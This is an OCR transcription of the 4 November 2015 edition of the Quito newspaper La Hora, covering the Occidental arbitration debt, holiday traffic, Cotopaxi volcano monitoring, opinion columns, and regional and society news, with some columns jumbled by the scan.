Quito 4 noviembre 2015

50c incl. IVA

Quito, Ecuador

miércoles 04 de NOVIEMBRE de 2015 ENtorno

intercultural

Desde 40 puntos se vigila al Cotopaxi

Los sonidos ancentrales Página B12

Página A5

Número total de ejemplares puestos en circulación: 33.620 global

Cristina ahora apoya a Scioli Página B7

Preocupa el pago a Occidental

Según los analistas, esta deuda podría afectar al Estado en plena época de problemas financieros del país. A través de su cuenta de Twitter y en su discurso por la independencia de Cuenca, el presidente, Rafael Correa, informó que se envió una propuesta a la petrolera estadounidense Occidental (Oxy) para llegar a un “acuerdo amistoso”, con respecto del pago del laudo por 1,061 millones de dólares dictaminado esta semana por el Tribunal de Arbitraje del Banco Mundial. En el fallo se determinó una reducción del 40% del monto que se pretendía cobrar inicial-

mente de 1,769 millones de dólares, por parte de la empresa petrolera. Según expertos consultados por este Diario, esta nueva deuda podría afectar a la economía nacional, debiendo negociarse y programar en los presupuestos de los próximos años. La caducidad se produjo porque Oxy pasó el 40% de su participación en el Bloque 15 a otra compañía sin alertar de esto al Estado. Página B1

Retorno ordenado al finalizar el feriado de cuatro días

Entre la mañana y la tarde de ayer, la circulación de ingreso por las panamericanas Norte y Sur se cumplió con normalidad. En Tulcán hubo problemas por la cantidad de turistas que fueron a Colombia. Páginas A2 y B6

La oposición se reúne en pleno en Loja

Obstáculos en veredas de Chimbacalle

En Loja se realizará hoy un conversatorio entre varios dirigentes que cuestionan la aprobación de las enmiendas a través de la Asamblea. Carlos Pérez Guartambel, presidente de la Ecuarunari, consta como uno de los invitados a este conversatorio. Sin embargo, su presencia en Loja está en duda ya que también había sido invitado el líder de CREO, Guillermo Lasso. Tampoco confirmó su asistencia a la cita el dirigente de la Cedocut, Mesías Tatamuez.

Los moradores de Chimbacalle actualmente cuentan con nuevos contenedores para solucionar el problema de la recolección de basura pero ahora el problema por el cual reclaman atención se debe a que dichos espacios para la basura se encuentran sobre las veredas ocasionando problemas para los transeúntes, en especial a personas no videntes y de la tercera edad. Otro sector afectado por el mismo problema es Carapungo, ubicado al norte de la capital.

Página B3

Ciudad. En algunos puntos, los contenedores obstaculizan el paso.

Página A3

FIFA: otro extraditado

La Policía suiza confirmó que el antiguo presidente de la Confederación de Fútbol de Brasil, José María Marín, fue extraditado a Estados Unidos en el marco de las investigaciones de casos de corrupción en la FIFA.

Página B15

www.lahora.com.ec lahoraecuador @lahoraecuador

CIUdad Retorno masivo no A2

generó congestiones

tiempo lectura 15 min.

miércoles 04 de NOVIEMBRE de 2015 La Hora QUITO, ecuador

I

Candidatas reina de

Quito

Con normalidad ingresaron los vehículos por las vias panamericanas norte y sur.

El masivo retorno de viajeros a la capital ecuatoriana en el último de los cuatro días de feriado nacional por los días de Difuntos y de la Independencia de Cuenca se cumplió con relativa normalidad durante la mañana y tarde de ayer. Las vías de acceso por el sur y por el norte lucieron en el transcurso de la jornada sin las congestiones que usualmente ponen punto final a los días de asueto. De acuerdo con responsables de las estaciones de peaje e informes de la Agencia Metropolitana de Control de Tránsito (AMT), esta situación obedece a que en la víspera se anticipó un volumen considerable de tráfico de ingreso. En la Panamericana Sur, las hileras motorizadas en la El Dato noche del lunes “se extendieron el entre Machachi y Según Ministerio de Ambiente, un el Peaje ubicado de 127.600 cerca de la vía de total ciudadanos visiacceso a Alóag”, taron las áreas naturales proteacotaron respon- gidas de la Sierra y el sables de este úl- Costa, Oiente durante timo. el feriado. En el caso de la Panamericana Norte se dispuso un contraflujo al caer la tarde para evacuar hileras de vehículos en espera de avanzar su marcha, en sentido norte-sur, entre el puente del río Guayllabamba y el acceso a la Ruta Colas. Sancionados

Angie Vergara

Edad: 22 • Estudios: Contabilidad y Auditoria

¿Palabra o expresión quiteña? De leyfff. ¿Cuál es tu ‘hueca’ favorita de Quito? Las tripas de La Floresta. ¿Sabes dónde queda la Guaragua, la Loma Grande y la Mamá Cuchara? La Guaragua es la actual calle Galápagos, la Loma Grande creo que por la 24 de Mayo. ¿Te has sentado alguna vez en la Plaza de las Palomas Muertas? Creo que es la Plaza San Francisco, así que sí. ¿Cuál es tu juego tradicional favorito? La rayuela, es un juego que integra a las personas. Jugaba desde chiquita con mis compañeros en la escuela. ¿Conoces algún piropo quiteño? Del cielo cayó una rosa, mi abuelita la cogió, se la puso en la cabeza, y que bonita que quedó.

Con una circulación relativamente fluida de vehículos por la Panamericana Norte, entre el Peaje de Oyacoto y la entrada a Calderón agentes municipales de tránsito controlaban a buses interprovinciales y uniformados de la Policía Nacional de Tránsito entregaban material informativo. Al frente del grupo de agentes municipales, William López, confirmó cerca de las 15:30 que en dos controles sorpresivos a 20 unidades se levantó citaciones a seis conductores por incumplir pasajes preferenciales para personas de tercera edad y discapacitados. En cambio, los policías de tránsito ubicados a pocos metros del peaje aprovechaban para que su personaje de títeres Paquito brinde consejos a conductores y pasajeros sobre el uso de cinturón de seguridad y la prohibición de usar teléfonos u

Movilidad. Con la llegada de múltiples turistas desde provincias, Quito concluyó cuatro días de feriado.

SEGURIDAD. Controles policiales se observaron a la llegada de los buses a la capital.

FLUIDEZ. En los peajes no se observó aglomeración de vehículos al retorno de los viajeros.

Balance: 91 personas heridas en Quito cierre de esta edición, el Ministerio del Interior aún no publicaba el balance °deAlaccidentes a escala nacional levantado a partir de los informes parciales de

sus unidades en provincia. La entidad ofrece esta información en el transcurso de hoy miércoles. Por ahora, el balance actualizado por la Secretaría de Seguridad la tarde de ayer, da cuenta que en el feriado se produjeron 246 accidentes de tránsito con 2 muertos y 88 heridos. Además otras tres personas resultaron heridas, una por un deslizamiento de tierra, una segunda por explosión de un tanque de gas y un tercero electrocutado. Por otro lado, la Cruz Roja, indica que en todo el país realizó 2.397 atenciones de emergencia por 44 accidentes de tránsito, 15 casos de violencia civil, dos rescates y 82 acciones de apoyo a personas con discapacidad y niños extraviados.

otros dispositivos móviles mientras se conduce. Buses

En la terminal terrestre de Carcelén, en el norte, sus administradores puntualizaron que a diferencia de otros finales de feriados anteriores, en el de ayer no hubo un movimiento inten-

so. María Gloria Rico, desde un puesto de golosinas, también ratificó esta versión, en su calidad de testigo directa de la actividad en pleno andén de llegada: “Para esta hora (cerca de las 16:00) ya sabe estar a full, ahora como que está muy poco el arribo de buses y pasajeros, que son nuestros clientes”. (JCER)

Ubicación de contenedores responde a estudios técnicos

ciudad I

miércoles 04 de NOVIEMbre de 2015 La Hora Quito, ecuador

A3

La preocupación de los usuarios es porque a algunos contenedores se los coloca sobre las veredas.

Los usuarios se familiarizan con Chimbacalle y Carapungo donde los contenedores para la basura se han colocado a los recipientes que se han ubicado sobre calles y sobre las veredas. Rosa Elena veredas de los barrios de Quito. Torres, moradora de Carapungo, En estos recipientes gigantes de- del barrio Chaupicruz, dice que la positan los desperdicios y se mar- ubicación de estos recipientes es chan a continuar sus actividades, un riesgo para las personas con por lo que ya no tendrán que espe- discapacidad visual y ancianos. De la Empresa Metropolitana rar al recolector. Lo que preocupa a los vecinos es que hay sitios de Aseo (Emaseo) informan que la ubicación de contenedonde han colocado los dores parte de un estudio recipientes sobre la vereda El Dato técnico efectuado previaobligando a los peatones a mente y dicho estudio diccaminar por la vía. sistema de ta que la distancia óptima En la noche y la ma- El recolección drugada llegan los con- mecanizada está entre contenedor y conuna fase de tenedores a los barrios. en implementación tenedor es de 100 metros y se estima un y si éste es sobre vereda Tienen la misión de reciperiodo de 45 bir los desperdicios que días pata realizar y calzada depende de las técnicos. características de la zona. se generan en cada una de ajustes (PSD) Además aclaran que se las viviendas, de esta forprioriza siempre que los ma se mantienen limpias las calles y con ello evitan la pro- contenedores sean ubicados en zonas de parqueo con el fin de pagación de roedores. Sin embargo hay un ‘pero’ en el facilitar el tránsito del peatón. Se servicio y es que hay sitios como explica que existen sitios donde

Modalidad. En Chimbacalle la mayoría de contenedores han sido ubicados sobre las veredas.

las calles no cuentan con zonas de estacionamiento y únicamente cuentan con dos carriles de circulación de vehículos, por lo

Para la ubicación de los contenedores se analiza además la construcción de una plataforma para que los contenedores se en-

200 toneladas de basura se recogieron en cementerios

130 voluntarios para seguridad comunitaria Con simulacros, que recientemente se realizaron en diferentes sectores de Quito frente a la posibilidad de erupción del volcán Cotopaxi, numerosos vecinos se enteraron de la existencia de un grupo de voluntarios de seguridad comunitaria. Vestidos con botas de caña alta, camisas o camisetas negras y chalecos gruesos de color negro presentan una apariencia de guardias de seguridad privada. Sus integrantes, sin embargo, señalan que no perciben sueldo alguno y que su labor responde a un voluntariado por el que no ganan nada más que satisfacciones personales. Así lo señaló, Carlos Padilla uno de los representantes de este proyecto denominado Asociación de Cívicos para para la República de Ecuador en Seguridad Comunitaria y Delitos Flagrantes. Él sostiene que la idea nació en 2011, pero a principios de este año se constituyeron formalmente como Asociación. “Cuando detectan un delito flagrante proceden a realizar la detención, llaman a la Policía Nacional y se hace el respectivo parte”, sostuvo. El quiteño de 26 años de edad, Emilio Curicho, por ejemplo, trabaja regularmente de lunes a viernes en una ferretería

tanto se coloca sobre la vereda, porque colocarlo en la calle significaría un alto riesgo de accidentes de tránsito.

Visitas masivas, como verdaderos ríos humanos, constituyeron en Quito durante este feriado las escenas emblemáticas por excelencia de la celebración cristiana de Difuntos. Miles de personas con familias enteras se volcaron a los camposantos de la capital ecuatoriana para recordar a sus muertos. Como huellas de este movimiento intenso de gente quedaron esparcidas 200 toneladas de basura de diferente tipo, en especial de material orgánico como rodas y flores marchitas; desechos como botellas plásticas y frascos de vidrio que hacían las veces de floreros, además de montañas de papel y cartones. Así lo confirmaron responsables de la Jefatura de Operaciones de la Empresa Municipal

de Aseo al dar cuenta la tarde de ayer de los resultados de los tres primeros días del operativo de limpieza en los 46 cementerios urbanos y rurales de la ciudad. La entidad también puntualizó que participaron 300 obreros de barrido y que se espera para el transcurso de este miércoles recolectar unas 50 toneladas adicionales de desperdicios. Por ahora, en el interior y exteriores de uno de los cementerios más concurridos en el norte, como es el de Calderón, la moradora de la zona Ernestina Fonseca sostuvo que “como es bien visitado siempre hacen una minga antes, para que quede bien presentado. Luego hay otra minga también. De ahí se cierra de lunes a viernes”. (JCER)

RESPONSABILIDAD. Con sus uniformes se presentan para ‘hacer filas’ y recorrer las comunidades.

en La Mena Dos, en el sur de la ciudad. “Mi jefe está enterado de esto y al llamado que me hagan para intervenir como voluntario me pongo a disposición. Entonces le comento y salgo en seguida”. Curicho asegura que ha participado en rondas de vigilancia en las calles de Calderón, en el norte, y que su única recompensa es la de sentirse útil a la sociedad ecuatoriana. Un grupo de estos voluntarios realizó la mañana de este

lunes un recorrido de patrullaje y de vigilancia por las vías de acceso al aeropuerto de Tababela y sus comunidades aledañas. Luego de varias horas de vigilancia “formaron fila” y se embarcaron de retorno a sus lugares de trabajo y estudio en Quito. De manera recurrente sondeos de opinión señalan a los problemas de inseguridad y de tráfico como uno de los principales temas de preocupación en Quito.

LIMPIEZA. Tras las visitas masivas a camposantos sus administradores y personal de aseo tuvieron un gran trabajo

opinión a4 tiempo lectura 15 min.

miércoles 04 de NOVIEMBRE de 2015 La Hora quito, ecuador

O

Olvidan que Cada insAlexis la felicidad trumento (o Serrano Carmona humana es medio) debe Por el derecho una disposición de adaptarse a la de ser un niño la mente y no una experiencia”. El periodismo me ha llevado a Leonardo Da Vinci condición de las muchos sitios, a ver tantas cosas. Pintor, inventor e ingeniero italiano (1452-1519) Recientemente estuve en Zumcircunstancias”. John Locke Economista inglés (1632-1704)

CARTAS Prefabricada

Al darle ‘derechos humanos adquiridos’ al Estado, la burocracia recibió un chaleco de impunidad. Todo funcionario denunciado por corruptelas se siente ‘afectado’ en sus derechos, exigiendo desde ‘rectificación’ hasta demanda. Al principio enviaban cartas escritas con amenazas. Hoy la rectificación es de ‘fondo y forma’ además, pues envían el arte prefabricado con titular, tipografía, tamaño y colores. No publicar el ‘parche de rectificación’ como y donde el funcionario diga implica multas impagables. Si pasan las reformas por enmienda, la información será estatizada como ‘propiedad pública’. Con ello la burocracia invadirá con recitaciones todas las páginas de la prensa libre. Paúl Tapia Goya CC: 0909274250

Recorte

Lo bueno: Se dice que el Presupuesto para 2016 será inferior a 30 mil millones de dólares, una reducción del 17 % en comparación con el de 2015. Aparentemente, el Ejecutivo y la Asamblea Nacional han entendido las nuevas realidades derivadas de la crisis de los precios de las materias primas y del petróleo, y que su modelo económico y político está agotado. Lo malo: El Presupuesto es uno de los principales instrumentos para el desarrollo económico. El 2015 se cerrará con un alto déficit, dada la calificación de riesgo país y la nula opción de colocar bonos en el mercado de capitales. El 2016, cuando entremos en recesión, será más difícil el acceso a los créditos. Lo feo: Si el discurso del Gobierno dice que el ciclo de inversión del Estado está cumplido, que la infraestructura está lista y que es la hora de apoyar al sector privado, ¿por qué se vuelve a enviar a la Asamblea el proyecto de más impuestos a la renta, herencias y plusvalía? La palabra del Presidente no tiene coherencia, no es confiable y creíble. Dr. Manuel Posso Zumárraga drposso@yahoo.com Dirija sus cartas a: cartasaldirector@lahora.com.ec Casilla 1717243 CCI o cualquiera de nuestras agencias. Requisitos: Nombres y apellidos completos; número de Cédula; teléfono (fijo); dirección domiciliaria o de trabajo y correo electrónico.

Tramposo y podrido

El mundo del fútbol sufre una enfermedad endémica de la que no es propietario en exclusiva: el cáncer de la corrupción. Las acusaciones criminales de los gobiernos de Suiza y de Estados Unidos contra dirigentes de la FIFA y algunos de sus cómplices comerciales muestran el rostro internacional del problema, pero en las federaciones nacionales de no pocos de sus miembros hay una metástasis generalizada. Llegar al fondo de esta ‘cloaca de inmundicias’ pudiera generar un terremoto en toda su estructura funcional, promocional y empresarial. La elección de nuevos dirigentes de la FIFA, de hacerse sobre la base de figuras que de una u otra forma han sido aludidas por la justicia en Norteamérica y en la República Helvética, quizás no sea el camino para una limpieza real de la organización.

Alejandro A. Tagliavini*

Cambiar todo para que nada cambie Hay dos principios que rigen al cosmos que la opinión pública, impaciente, suele olvidar. El primero, que nada en la naturaleza -ni la sociedad humana- se desarrolla por revolución sino por evolución, como las plantas que crecen lentamente y los niños que tardan años en llegar a adultos. Por esto el cambio radical produce miedo y las personas suelen ser conservadoras, más allá del discurso “revolucionario” que suele ser puro gatopardismo. El segundo principio es que todos, en alguna medida y de alguna manera, somos responsables de lo que ocurre -es la

Las asimetrías en el desarrollo del fútbol por continente y países, y el ‘hacerse de la vista gorda’ ante desafueros y corruptelas de las federaciones nacionales y regionales, pesa sobre su comportamiento a nivel de clubes y sobre los jugadores. Millones por un lado, ruina de clubes por otro, maltrato en todo sentido de jugadores y técnicos son parte del deprimente escenario actual. La rifa de eventos al mejor postor, en especial las citas mundialistas, ha creado un clima irrespirable de permisividad, compadreo y ligereza en el manejo de recursos, lo que lastra el aparato organizativo de un deporte del que muchos acusan de tramposo y podrido. ¿Acaso el fútbol ecuatoriano está ‘libre de pecado’ en este contexto? Una simple mirada a los hechos recientes nos da una dolorosa respuesta.

“comunión de los santos”, diría la teología católica- incluso aquellos que teóricamente ven los problemas con cierta claridad, al actuar suelen cometer o inducir los mismos errores y así se produce la continuidad. Por otro lado, es inevitable que los políticos terminen hastiando porque basan su “gobierno” en el monopolio de la violencia que se arroga el Estado -poder policial y militar- con el que imponen leyes que solo llevan a la destrucción, como toda violencia. Así, el mundo parece moverse como un péndulo según van hastiando los gobernantes: se eligen izquierdistas, luego de derecha y, más tarde, otra vez de izquierda, pero sin que en el fondo ocurran grandes cambios. La buena noticia es que, en estos vaivenes del péndulo, sus extremos se acortan: la izquierda hoy es mucho más moderada de lo

que solía ser y lo mismo la derecha. Hoy, pareciera que el péndulo se inclina hacia la derecha. En fin, quizás las elecciones más sintomáticas hayan sido las de Argentina. El cuasi empate entre el oficialista Daniel Scioli y Mauricio Macri obliga a dirimir la presidencia en una segunda vuelta, el próximo 22 de noviembre, en la que ganaría el opositor que se presenta como de centro derecha “pro mercado” pero que, en la práctica, ha aumentado impuestos, gasto y empleados públicos ayudando al crecimiento del estatismo y a la falta de libertad, según la ley de que de algún modo todos somos culpables -y no solo el oficialismo- de la fuerte decadencia argentina. *Miembro del Consejo Asesor del Center on Global Prosperity, de Oakland, California https://twitter.com/alextagliavini (@alextagliavini)

bahua. Fui para constatar una realidad que venía en impresa en un libro del INEC y Unicef: la mitad de los niños que trabajan en este país están expuestos permanentemente a situaciones de peligro. En Zumbahua, un niño de seis años es considerado ‘grande’ como para tomar un azadón, remover tierra por largas jornadas, sembrar, cosechar… ¿Dónde está el peligro? En que permanentemente están expuestos a químicos altamente tóxicos usados en agricultura, además, claro, de un inclemente sol, un frío que se siente como agujas en los huesos y el humo que inunda la zona cada vez que alguien quema la hierba porque le han dicho que eso mejora la tierra. Escalofriante fue cuando el Vicepresidente del Comité Local de Salud me dijo con resignación: “No es raro ver aquí que mientras una madre pone los químicos, deje a su hijo de brazos acostado sobre esa misma tierra”. Claro, todo esto tiene sus efectos: las enfermedades más comunes son las afecciones en la piel y la principal causa de muerte los problemas respiratorios. Jamás olvidaré la imagen de ese niño, recién llegado de la escuela, que enseguida recibe la orden de su madre y comienza a pastorear ovejas. Toma una rama del piso y las corretea como jugando a ‘las cogidas’. Cierto es que el trabajo infantil ha bajado. Cierto es que muchos niños que no estudiaban ahora van a la escuela. Cierto es que es una costumbre ancestral que los pequeños ayuden en estas y otras labores. Pero lo verdaderamente cierto es que nadie debería poder estar tranquilo mientras esto les quite a los niños el derecho a jugar, descansar, a ser niños. Y el Estado aún les debe a estas comunidades mucha información sobre los riesgos de esta realidad. aserrano@lahora.com.ec Twitter: @alexseranocar

Diario liberal, laico, agnóstico e inclusivo. Respetuoso y defensor de los Derechos Humanos. Presidente - Director Nacional Francisco Vivanco Riofrío Directora Adjunta Juana López Sarmiento Subdirector Alejandro Querejeta Barceló Editor General LUIS EDUARDO VIVANCO ARIAS Editorial Minotauro Planta: Av. Galo Plaza Lasso N62- 08 y Nazareth PBX: 247-5724 Publicidad: 222-2406 / 250-3266 Fax: 247-6085 Suscripciones: 2479-976 Casilla: 1717243 CCI e-mail: quito@lahora.com.ec Año: XXXI No. 11235

www.lahora.com.ec Los escritos de los colaboradores sólo comprometen a sus autores y no reflejan el pensamiento del periódico, que se expresa en su Editorial.

En Selva Alegre se capacita a la población puerta a puerta

Monitoreo. La vigilancia del Cotopaxi se la realiza en la mañana, la tarde y la noche.

Desde 40 puntos se vigila al volcán y su comportamiento Los monitoreos se realizan a las 06:00, 12:00 y 18:00 y se emiten informes diarios de observación. Con la ayuda de una frecuencia de radio portátil 40 pobladores de las zonas aledañas al volcán Cotopaxi lo monitorean diariamente. Ellos mantienen comunicación permanente y emiten informes al Instituto Geofísico (IG) y al ECU 911. Jaime Toscano, es uno de los responsables del monitoreo del volcán. A través de la radio se entera del comportamiento del coloso que también es observado por otros vigilantes desde Latacunga, Salcedo, Mulaló y Tanipamba. La misión encomendada a estos pobladores es ofrecer un informe visual del comportamiento del volcán a las 06:00, 12:30 y 18:00. Los observadores cuentan

lo que miran desde la distancia en la que se encuentran, ellos confirman si amaneció nublado, si hay una columna de vapor, si hay presencia de agua, toda información es válida. Toscano aclaró que su informe es recibido por el ECU 911 y que luego es el IG el que corrobora toda la información. “Al final ellos desde las cámaras y con los equipos nos confirman, así es todos los días”, dijo. El vigilante dice que es una responsabilidad muy grande, que diariamente se levanta a observar al volcán, que en sus informes trata de comentar exactamente lo que observa, no le quita ni le aumenta nada.

La preparación a la población

Este dirigente barrial también tiene la obligación de coordinar las acciones de preparación de la población para una eventual evacuación. Ha dividido a un poblado de un promedio de 2 mil habitantes para capacitarlos con el apoyo de los estudiantes de la Universidad Internacional. Sandra López, coordinadora de la sensibilización a la población dijo que la tarea de los estudiantes es llegar a cada hogar y trabajar con las personas en la elaboración de los planes familiares de emergencia. En las mañana también capacitan a la población en la identificación de los sitios seguros y en las tardes les preparan para una eventual evacuación. Con respecto a las personas más vulnerables se informó que se colocarán banderas para que se tengan una atención prioritaria, en el caso de las casas donde tengan una persona con algún tipo de discapacidad se colocará una bandera con una cruz roja y la blanca completamente se colocará en las casas donde existan las personas de la tercera edad. (PSD)

Estudiantes de la Universidad Internacional recorren las nueve zonas en riesgo del cantón Rumiñahui. En esta semana llegaron al barrio Selva Alegre y realizaron simulacros con el apoyo de la Policía Nacional y la Cruz Roja. Al sector se lo dividió en dos. Los universitarios de la carrera de Ingeniería de Gestión de Riesgos y Emergencia golpean las puertas de los moradores y van entregando información a la población. Sandra López, coordinadora de vinculación de la Universidad Internacional, informó que son los responsables del tema de sensibilización y de la realización de los simulacros por grupos familiares en las nueve zonas de riesgo, una modalidad que les permite hacer correcciones en el sitio. Los universitarios tienen la misión de dar a conocer a los moradores el plan familiar, los puntos seguros y prepararles para los simulacros, ya en el terreno con la participación de los

ciudad I

miércoles 04 de NOVIEMbre de 2015 La Hora Quito, ecuador

A5

ciudadanos se calculan los tiempos de traslado. La información que están recabando de la visita puerta a puerta así como los resultados de los simulacros se la está entregando al Municipio de Rumiñahui, estos datos les permitirá armar el plan de prevención que exige la Secretaría de Riesgos. Jaime Toscano, presidente del Comité Promejoras del Barrio Selva Alegre, dijo que la capacitación puerta a puerta les permitirá corregir errores que se cometieron como el exponer a la gente en la vía E-35, esto con la finalidad de llegar al Instituto Rumiñahui, determinado como zona segura. Además, dentro de la entrevista a las familias que realizan únicamente los estudiantes debidamente acreditados se determinarán las casas donde viven las personas con algún tipo de discapacidad y los adultos mayores. Un promedio de 2 mil personas que habitan en el barrio Selva Alegre han participado de los simulacros realizados. (PSD)

Inducción. Estudiantes de Ingeniería de Gestión de Riesgos y Emergencia son los encargados de capacitar a los moradores.

Llegaron Amplificadores de Luz y Batería , de diferentes Potencias de 5 a 250 W para amplificación publica Con Bluetooth , radio y USB. • Atencíon de lunes a viernes de 09:30 a 19:00 y sábados 09:30 a 13:00

Dirección: Av. Amazonas 4600 y Alfonso Pereira Telfs.: 2258-657 • 2258-658 E-mail: casa.vivanco@hotmail.com Quito - Ecuador

Defensa de López pide se desetime acusación

EN VELA a6

miércoles 04 de NOVIEMbre de 2015 La Hora Quito, ecuador

I

COLOSO. El volcán muestra señales de continua actividad.

Actividad interna del Cotopaxi es moderada El último informe de ayer del Ministerio Coordinador de Seguridad sobre el monitoreo del volcán Cotopaxi, señaló que pese a un pequeño episodio de tremor registrado en el coloso, la alerta amarilla se mantiene, con una actividad interna moderada y superficial baja. El boletín de Seguridad elaborado sobre la base del reporte del Instituto Geofísico indicó que no se registraron lluvias en

el sector y la sismicidad muestró movimiento de fluidos y gases dentro del volcán. En horas la tarde se registró una emisión de gases y vapor de agua de una altura de 1,500 metros sobre el cráter del volcán con dirección hacia el oriente, mientras en la mañana hubo una emisión continua de vapor de agua con poca ceniza, con una altura que osciló entre los 300 a 500 metros. (ABT)

VISITA. Jesús Manuel Gracia Aldaz observa algunas obras de arte en el interior del convento de San Agustín.

Llegó el Secretario de Cooperación de España • El secretario de Cooperación Internacional para Iberoamérica de España (Secipi), Jesús Manuel Gracia Aldaz, llegó ayer a Quito para revisar varios proyectos en Ecuador y reunirse con autoridades del país andino. Gracia Aldaz, nada más llegar a la capital ecuatoriana visitó el Convento de San Agustín, situado en el casco colonial de la ciudad y que ha sido restaurado gracias al apoyo directo de la Cooperación española. “Esta es una de las señas de identidad de la cooperación internacional española” en Quito, indicó el secretario tras recordar que el Secipi ha trabajado por más de 30 años con Ecuador. El objetivo de este tipo de cooperación, añadió, es contribuir a que la ciudadanía quite-

QUITO, EFE

ña y los visitantes que llegan a esta ciudad “puedan disfrutar de esto”, de restaurados edificios patrimoniales como el convento de San Agustín. Además, el proyecto busca “impulsar el conocimiento de la historia, impulsar el turismo y también la formación de los jóvenes que trabajan en estas restauraciones”, agregó Gracia Aldaz. El convento de San Agustín, construido en el siglo XVI, es uno de los edificios coloniales emblemáticos de Ecuador, pues allí se encuentra la “Sala Capitular”, donde los próceres de la Independencia, en 1809, suscribieron un acta con la que pretendieron liberar al país de la corona española. Su agenda incluye una charla con el ministro ecuatoriano de Agricultura, Javier Ponce.

Un ‘comité de víctimas’ pide se vuelva a acusar de homicidio al político venezolano. CARACAS, EFE • La defensa del opo-

sitor venezolano, condenado a casi 14 años de prisión, aseguró ayer que el delito de homicidio ya fue desestimado por el tribunal que lleva la causa por lo que descartó que pueda ser considerado en una eventual apelación. “Ya la fiscalía hizo un procedimiento, nadie puede ser juzgado dos veces por los mismo hechos, se estaría vulnerando la Constitución”, dijo a la emisora local Unión Radio el abogado defensor del político Juan Carlos Gutiérrez. El letrado hizo la precisión luego de que El Comité de Víctimas de las Guarimbas (protestas con barricadas), de la que forman parte afectados por las protestas de 2014 afines al Gobierno venezolano, pidiera que López sea juzgado por el homicidio de los 43 muertos de las revueltas que se extendieron por más de cuatro meses. El presidente del Parlamento, el oficialista Diosdado Cabello, aseguró hace una semana que, junto a un grupo de personas que no precisó, prepara una apelación por la condena, a su juicio insuficiente, que le fue aplicada a López. Gutiérrez, que lidera el equipo encargado de defender al político preso, opinó que “esa invitación del Comité de Víctimas pareciera no tener asidero jurídico”. Afirmó que el líder del partido Voluntad Popular “ya fue objeto de un juicio”, un proceso en

JUICIO. Antonieta Mendoza de López , madre de Leopoldo López, junto a Juan Carlos Gutiérrez, el abogado defensor.

el que, dijo, la Fiscalía incluyó el delito de homicidio “y ese cargo fue desestimado completamente, es decir ya fue desechada esa acusación”. “La Fiscalía, de alguna manera insistió en la fase de conclusiones y el tribunal no aceptó la acusación”, aseveró. El comité, conformado por familiares de una parte de los 43 muertos que dejaron las protestas, pidió que se impute a López “sin demora” por esas muertes ya que, a su juicio, son el resultado de los llamados a la violencia que, dicen, hizo el político. López, preso desde el 19 de febrero de 2014, fue recientemente condenado a casi 14 años de cárcel por delitos de instigación pública, asociación para delinquir, daños a la propiedad e incendio en relación con hechos de violencia registrados el 12 de febrero y que fueron antesala de las protestas que se extendieron hasta junio. Ese día se registraron tres muertes, dos de ellas han sido atribuidas a funcionarios de los cuerpos de seguridad del Estado

según la Fiscalía, que mantienen procesos abiertos. El caso de López mantiene abierto el debate entre defensores, acusadores y víctimas luego de que el exfiscal Franklin Nieves, uno de los que llevó el caso del político, afirmara que formuló sus acusaciones bajo presiones gubernamentales lo que lo llevó a huir del país. La declaración de Nieves deja “en evidencia lo que hemos denunciado nosotros durante todo este tiempo, este es un juicio que ha sido arbitrario, que no ha sido justo”, reiteró hoy Gutiérrez. La defensa reclamó, el pasado día 28 “una investigación independiente hecha por fiscales sin vinculaciones políticas o con instituciones del Estado para llevar adelante un análisis a fondo de las declaraciones del exfiscal”, que se encuentra actualmente en EE UU. Los defensores esperan además por la respuesta a un recurso de apelación de la sentencia contra el dirigente que incluye los nuevos argumentos de Nieves.

Loja: Municipio no acata feriado del 3 de noviembre El Municipio de Loja, a diferencia de años anteriores, durante el 3 de noviembre, independencia de Cuenca, abrió sus puertas ayer en forma normal y sus empleados atendieron en las diversas dependencias. La decisión la tomó el alcalde de Loja, José Bolívar Castillo. Así lo manifestó en una entrevista anterior el vocero de la entidad, Álex Romero, quien acotó que la decisión tiene que ver con la entidad que es pública y autónoma. El funcionario manifestó que la disposición fue puesta con antelación a conocimiento de los empleados y trabajadores y que ello, al ser un hecho administrativo, no fue socializado por el Cabildo.

También justifica el trabajo de ayer en el sentido que la ciudad vive ya las fiestas de emancipación política y se vienen también las de fundación. La labor de ayer se cumplió de 08:00 a 13:00 y de 15:00 a 18:00. Asimismo, ayer, la Unidad Ejecutiva de Tránsito del Municipio de Loja realizó trabajos de señalización del área del Sistema Municipal de Estacionamiento Rotativo Tarifado (Simert). La actividad inició en la calle Sucre. A diferencia del Municipio, que trabajó el 3 de noviembre, el resto de entidades públicas y privadas descansó ayer. Hoy vuelve a la actividad, tras descansar cuatro días. (DVL-WSV-JPP)

Labor. El Municipio de Loja abrió sus puertas en forma normal, ayer.

gente I

miércoles 04 de NOVIEMbre de 2015 La Hora Quito, ecuador

A7

Gabriel Cisneros, Mayra Falck, embajadora de Honduras, y Óscar Acosta, escritor.

Letras hondureñas en la CCE En el Aula Benjamín Carrión de la CCE se presentó el libro ‘El arca’, del escritor hondureño Óscar Acosta. La Embajadora del país centroamericano mostró dicha obra.

Cesa Flores, Maleska Salinas y Karla Altamirano.

Detalle.

Portada de la obra

Sandra Alvarado, con un platillo típico hondureño, y Gabriela Hernández.

Diana Martínez, Carmen Cruz y Yolannie Serrano.

Arturo Moreno, David Tello y Daniela Coloma.

Satuye Jazz-Fussion fue parte de la presentación.

Karla Alejandra Cáceres y Jorge Luque, bailarines hondureños.

Fiesta del Libro y homenaje

GENTE a8

miércoles 04 de NOVIEMbre de 2015 La Hora Quito, ecuador

I

En la Flacso se realizó la Fiesta del Libro y la Palabra 2015. En este marco se rindió un homenaje a Nelson Estupiñán Bass, denominado ‘Cuando las palabras florecían’.

José Soria, Patricio Gaviño y Raúl Puente.

Eduardo Puente y Luz Argentina Chiriboga.

Detalle.

Afiche promocional del encuentro.

Mara Tamayo, Alexandra Fernández y María Emilia Camacho.

José Regato y Gladys Chiriboga.

Lenín Morales y Lincoln Estupiñán. P.pl/64121

PAÍS B1

Utilice aquí un lector de código QR

tiempo lectura 15 min.

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora ECUADOR I

OXY: nueva deuda en tiempos de dificultades El Gobierno presentó una propuesta para negociar una acuerdo con la empresa petrolera estadounidense.

